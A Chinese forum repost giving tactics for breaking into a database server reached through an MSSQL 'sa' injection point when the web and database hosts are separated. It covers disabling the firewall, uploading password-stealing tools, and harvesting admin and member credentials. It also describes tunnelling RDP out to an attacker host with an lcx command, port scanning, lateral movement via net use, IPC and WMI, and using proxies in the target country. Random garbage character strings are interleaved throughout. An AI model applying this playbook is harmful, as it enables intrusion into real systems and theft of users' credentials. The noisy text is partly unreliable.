当你碰到SA的注入点,可以执行命令,但是web与数据库分离,你都会怎么做呢,当数据库不服务器不能连接外网的时候,是不是只想着从web搞呢,这篇文章从t00ls转载过来,希望对大家sa权限的注入点数据库web分离提供一些渗透思路。
- R. c; D! q' H
" \1 y0 z' }( N3 A5 ]' B7 R3 n% M8 Z' o' M3 Z& u1 @# A. X/ P# y5 c
8 y8 ?/ _& H% t& K& Y( PSA点,system权限,可执行命令,web和db分离.DB机器不上网(一般指中马不上线,lcx反弹不出)
- i# g# X$ q' M1 [# ^4 T7 ?
1 h& ]" a, s, V: m. M7 P' b% t( ] O! |, O8 c! s6 S, [+ }+ x% O- ?
一、DB机有公网IP.
H3 ~# H7 L: R. A! n8 j# H% @) a8 R
1:执行命令把系统防火墙和ip策略停止,netstat -an找到3389端口尝试连接.% I9 l' @. n% u$ ? \' q
, s, D1 u6 |1 r" m6 u N
+ p' p5 l; U+ m M2:从内往外扫描.把命令行下的s扫描器转成vbs传上DB机器生成exe扫描外网一台做了端口策略的机器.这台外网机器开放所有端口.(可以到网上找这 样的 机器.) 如果扫描结果有开放端口,证明在这台DB机可以把3389转到外面机器.比如扫到80 那就lcx -slave ip 80 127.0.0.1 3389.
" i- {* v: K4 y" U" Z1 \2 G% u$ p/ ?5 Y1 K+ ^, N& q
9 _, M x9 e6 R+ O- A# t# _7 j8 @
3:尽量多拿密码.用vbs的方法上传gethash,sqlsniffer类的工具.拿到系统和mssql的密 码,数据库表的后台管理员密码,member表的最前几个用户密码.这些密码可以用来测试web后台,web的3389 ftp等.当然事先要对web机器完整扫描一遍. www.2cto.com3 [5 q: P& f7 @/ l9 B1 B; G
* ~4 u; u6 {8 ?5 K, W
' _) D- |% n& `' |: s, ]4,nmap扫描.用nmap扫描web和db机器的1-65535端口.如果发现db机器显示有closed的端口.那恭喜你,你可以lcx -tran 把3389转发到该端口直接登陆.firewalk也有类似功能.但对代理防火墙无用.
! t6 H' D5 j' {; U. Z
! t! W9 x% @9 N, l; J2 b7 c0 I# ]6 c" x0 a
/ ^6 H* t2 ^ l$ ~" Z
二、DB机只有内网IP, w8 n3 t* `- m! U
, V$ ~9 ]% ?( A' I" F
1:尽量多拿密码来net use到web机器.这个过程需要极大的耐心 , 拿密码尝试登陆web后台等.
! S( b5 ^& X/ X1 I0 s& s
2 c( L8 g% M8 @+ m6 Q4 M9 C, Y- C. r* @; D/ ]3 V2 h1 O
2:停掉防火墙和IP策略再从内往外扫描.
7 {4 @) J N' S! Z, b& k; ^9 h0 U% l1 e! X
& L9 A% m0 R: n0 y+ K+ ?8 m
3: ipconfig /dispalydns如果发现有公网的域名,极大可能是路由做了手脚.机会还是有的.
0 A" ~1 ^3 q! _; H$ c* ^* [! v. k% D
! b# Y9 z8 i0 A& |( Y! j0 @! n
4:学会密码规律分析往往会有惊喜.
* C+ o0 T! w5 N% {% l, P8 O) F" z1 U: X8 N0 r8 F1 ~" t
+ F* [4 C' A# G5,在sa点里执行命令渗透内网,找可上网的机器.isql,ipc共享,wmi等
N$ c6 C# u8 O( E: R. x% t& l! K) \* x5 M/ y$ |9 w
t4 _/ d3 U8 p7 ~有些地区或国家会禁止别的国家连接一些端口,所以拥有目标国代理或VPN是很重要的 |